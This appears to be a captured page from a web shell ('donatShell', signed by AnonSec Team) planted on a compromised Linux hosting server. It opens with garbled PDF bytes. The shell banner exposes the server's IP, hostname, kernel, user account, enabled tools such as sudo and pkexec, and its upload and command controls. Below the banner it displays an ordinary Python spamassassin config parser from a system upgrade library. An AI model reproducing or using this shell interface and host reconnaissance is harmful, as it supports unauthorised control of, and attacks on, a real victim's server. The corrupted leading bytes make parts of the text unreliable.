%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY donat Was Here
donatShell
Server IP : 188.40.95.74  /  Your IP : 216.73.216.142
Web Server : Apache
System : Linux cp01.striminghost.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : vlasotin ( 1054)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/leapp-repository/repositories/system_upgrade/el7toel8/libraries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/leapp-repository/repositories/system_upgrade/el7toel8/libraries/spamassassinutils.py
import re

SPAMC_CONFIG_FILE = '/etc/mail/spamassassin/spamc.conf'
SPAMASSASSIN_SERVICE_OVERRIDE = '/etc/systemd/system/spamassassin.service'
SYSCONFIG_SPAMASSASSIN = '/etc/sysconfig/spamassassin'
SYSCONFIG_VARIABLE = 'SPAMDOPTIONS'
SPAMD_SHORTOPTS_NOARG = "ch46LlxPQqVv"
""" All short options in spamd that do not accept an argument, excluding -d. """


def parse_sysconfig_spamassassin(content):
    """
    Splits up a spamassassin sysconfig file into three parts and returns those parts:
    1. Beginning of the file up to the SPAMDOPTIONS assignment
    2. The assignment to the SPAMDOPTIONS variable (this is the assignment
       that takes effect, i.e. the last assignment to the variable)
    3. End of the file after the SPAMDOPTIONS assignment
    """
    line_continues = False
    is_assignment = False
    assignment_start = None
    assignment_end = None
    lines = content.split('\n')
    for ix, line in enumerate(lines):
        is_assignment = ((is_assignment and line_continues) or
                         (not (not is_assignment and line_continues) and
                          re.match(r'\s*' + SYSCONFIG_VARIABLE + '=', line)))
        if is_assignment:
            if line_continues:
                assignment_end += 1
            else:
                assignment_start = ix
                assignment_end = ix + 1
        line_continues = line.endswith('\\')

    if assignment_start is None:
        return content, '', ''
    assignment = ''
    for line in lines[assignment_start:assignment_end - 1]:
        assignment += line[:-1]
    assignment += lines[assignment_end - 1]
    pre_assignment = '\n'.join(lines[:assignment_start])
    post_assignment = '\n'.join(lines[assignment_end:])
    return pre_assignment, assignment, post_assignment

Anon7 - 2022
AnonSec Team